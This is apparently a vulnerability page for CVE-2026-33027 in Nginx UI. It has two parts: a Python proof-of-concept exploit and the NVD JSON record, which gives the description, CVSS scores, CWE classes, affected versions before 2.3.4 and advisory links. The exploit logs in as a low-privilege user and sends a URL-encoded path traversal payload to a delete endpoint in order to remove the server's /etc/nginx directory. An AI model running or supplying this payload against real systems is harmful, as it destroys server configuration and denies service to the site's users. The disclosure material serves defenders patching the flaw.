CVE-2026-33027

import requests # Exploit Concept for CVE-2026-33027 # This PoC demonstrates how an authenticated user can delete the /etc/nginx directory target = "http://vulnerable-host:port" login_url = f"{target}/api/login" delete_url = f"{target}/api/files/delete" # Hypothetical endpoint # 1. Authenticate as a low-privilege user credentials = {"username": "attacker", "password": "password"} session = requests.Session() login_resp = session.post(login_url, json=credentials) if login_resp.status_code == 200: # 2. Craft payload with URL-encoded traversal # Payload: ../../../etc/nginx -> Encoded: ..%2F..%2F..%2Fetc%2Fnginx # The backend decodes this and resolves to /etc/nginx payload = { "path": "..%2F..%2F..%2Fetc%2Fnginx" } # 3. Send delete request response = session.delete(delete_url, json=payload) if response.status_code == 200: print("[+] Success: /etc/nginx directory likely deleted.") else: print(f"[-] Failed: Status code {response.status_code}") else: print("[-] Authentication failed")

{"cve": {"id": "CVE-2026-33027", "sourceIdentifier": "[email protected]", "published": "2026-03-30T18:16:18.783", "lastModified": "2026-04-01T18:33:36.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.4, the nginx-ui configuration improperly handles URL-encoded traversal sequences. When specially crafted paths are supplied, the backend resolves them to the base Nginx configuration directory and executes the operation on the base directory (/etc/nginx). In particular, this allows an authenticated user to remove the entire /etc/nginx directory, resulting in a partial Denial of Service. This issue has been patched in version 2.3.4."}, {"lang": "es", "value": "Nginx UI es una interfaz de usuario web para el servidor web Nginx. Antes de la versión 2.3.4, la configuración de nginx-ui maneja incorrectamente las secuencias de recorrido codificadas en URL. Cuando se proporcionan rutas especialmente diseñadas, el backend las resuelve al directorio base de configuración de Nginx y ejecuta la operación en el directorio base (/etc/nginx). En particular, esto permite a un usuario autenticado eliminar todo el directorio /etc/nginx, lo que resulta en una Denegación de Servicio parcial. Este problema ha sido parcheado en la versión 2.3.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.4", "matchCriteriaId": "EAC83E05-2DDE-450D-8718-843174EAB4E1"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-m8p8-53vf-8357", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-m8p8-53vf-8357", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}